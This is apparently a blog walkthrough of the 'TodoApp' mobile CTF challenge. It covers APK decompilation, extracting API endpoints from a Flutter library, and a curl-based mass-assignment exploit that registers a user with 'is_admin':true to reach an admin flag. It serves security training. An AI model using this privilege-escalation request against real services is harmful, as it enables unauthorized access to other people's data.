TodoApp CTF Walkthrough: Mobile Security Challenge Guide

December 1, 2025 - By @darch

This TodoApp CTF walkthrough provides a complete step-by-step guide to solving this medium-difficulty mobile security challenge. If you’re tackling the TodoApp CTF for the first time, this walkthrough will guide you through discovering and exploiting the hidden vulnerabilities in TechCorp’s productivity application.

Challenge Details

Name: TodoApp
File: todoapp.apk
Platform: https://ctf.alquymia.com.br/
Category: MISC
Difficulty: Medium

Challenge Description

The company TechCorp hired you as a pentester to improve the security of its new mobile productivity application. “TodoApp” is a simple task manager that allows employees to organize their daily activities. Your mission is to identify and explore possible vulnerabilities that could compromise data or system functionality. Good luck!

Phase 1: Static Analysis – Dissecting the Application

Static analysis involves examining the application’s code and resources without executing it. Our goal is to understand its structure, find hidden information, and identify potential points of attack.

Step 1.1: Setting Up the Analysis Environment

The application file is todoapp.apk. An APK file is essentially a .zip archive containing the application’s code, resources, and manifest. To analyze it, we need a decompiler. The best tool for this is JADX (Java Decompiler).

What is JADX? A powerful tool that decompiles DEX code (the format Android apps are compiled into) back into readable Java code. It also properly decodes XML files like AndroidManifest.xml.
Action: We installed and ran jadx-gui on the todoapp.apk file.

Step 1.2: Initial Findings in AndroidManifest.xml

The first place to look is the AndroidManifest.xml. This file is the “brain” of the app, defining its components, permissions, and entry points.

<activity
            android:theme="@style/LaunchTheme"
            android:name="com.example.todoapp_flutter.MainActivity"
            android:exported="true"
            .../>

Explanation of android:exported=”true”: This attribute is critical. It means the MainActivity (the app’s main screen) can be launched by other applications on the device. In a security context, this is a potential entry point for attackers and often indicates that a vulnerability might be accessible through this component.

Step 1.3: The Framework Discovery – It’s a Flutter App

Next, we examined the MainActivity.java file itself.

package com.example.todoapp_flutter;
...
public final class MainActivity extends AbstractActivityC011e {
    ...
}

Explanation: The package name todoapp_flutter and the class structure clearly indicate that this application was built using the Flutter framework, not native Android (Java/Kotlin). This is a crucial piece of information because it changes our entire analysis strategy.

Native App: Logic is in .java files
Flutter App: The main logic is written in Dart and compiled into native libraries (.so files) and assets. The Java code is just a “wrapper” or “bootstrap” to launch the Flutter engine

Step 1.4: Finding the API Endpoints – The Real Treasure Map

Since the logic wasn’t in the Java files, we knew it had to be in the compiled Flutter code. This is typically located in a native library file.

Unzip the APK:

unzip todoapp.zip

Navigate:

cd todoapp/lib/x86_64

Extract & Filter Strings:

strings libapp.so | grep http

Conclusion: We had found the application’s backend API. The TodoApp doesn’t store data locally; it communicates with a server at mobile-todo.alqlab.com. The challenge is no longer about the APK; it’s about this API.

http://mobile-todo.alqlab.com/todos/create
http://mobile-todo.alqlab.com/todos/get-all?skip=0&limit=100
http://mobile-todo.alqlab.com
http://mobile-todo.alqlab.com/auth/register
http://mobile-todo.alqlab.com/auth/login

Phase 2: Dynamic Analysis – Interacting with the Live API

Dynamic analysis involves interacting with the live system to observe its behavior. We will now use curl to act as a client and talk to the API we discovered.

Step 2.1: Testing for Unauthenticated Access

The first logical test is to see if the API will give us data without us proving who we are.

The Command:

curl http://mobile-todo.alqlab.com/todos/get-all

Result: The server returned an error message like “Not authenticated“.

Conclusion: The endpoint is protected. We need a valid user account and a token to access it.

Step 2.2: The Standard Authentication Flow

We followed the standard process: register a user, then log in to get a token.

Registration:

curl -X POST -H "Content-Type: application/json" -d '{"username":"darch", "password":"53nha123"}' http://mobile-todo.alqlab.com/auth/register

Login:

curl -X POST -H "Content-Type: application/json" -d '{"username":"darch", "password":"53nha123"}' http://mobile-todo.alqlab.com/auth/login

Result: The login command returned a JSON Web Token (JWT).

{"access_token":"<TOKEN>","token_type":"bearer"}

Step 2.3: Accessing Data as a Normal User

Now with a valid token, we tried to access the data again.

The Command:

curl -H "Authorization: Bearer <TOKEN>" http://mobile-todo.alqlab.com/todos/get-all

Result: []

Explanation: The server successfully authenticated us but returned an empty list. This means the user darch has no tasks. The flag is likely in data that only a privileged user (like an administrator) can see. Our new goal is privilege escalation.

Phase 3: Vulnerability Analysis & Exploitation

We needed to find a way to become an administrator. The most common logic flaw in registration endpoints is Mass Assignment.

Understanding Mass Assignment

What is Mass Assignment? It’s a vulnerability where an application blindly accepts all parameters provided in a request and maps them to an internal object, without checking if they are supposed to be user-modifiable. For example, a user registration form might only ask for username and password, but a vulnerable server might also accept an is_admin parameter if the attacker sends it.

This approach relies on knowledge of common API vulnerabilities and educated guessing. It’s fast but less methodical.

Exploiting the TodoApp CTF Vulnerability

The Hypothesis: “The registration endpoint might be vulnerable. If I send an is_admin field along with my registration details, the server might blindly accept it and make me an admin.”

The Exploit Command:

curl -X POST -H "Content-Type: application/json" -d '{"username":"hacker", "password":"senha123", "is_admin":true}' http://mobile-todo.alqlab.com/auth/register

Result: The server responded with a new access token.

Phase 4: Post-Exploitation & Reporting

With a valid administrator token, we can now access the protected data.

Step 4.1: The Final Command

We used our new admin token to request the full list, including a hidden administrative task.

[
  {
    "id": 1,
    "title": "Admin Flag Task",
    "description": "Flag: ALQ{<flag-content>}",
    "completed": false,
    ...
  },
  ...other tasks...
]

Conclusion

Vulnerability: Mass Assignment leading to Privilege Escalation

Attack Path: Static Analysis → API Discovery → Authentication → Business Logic Flaw Identification → Exploitation → Data Exfiltration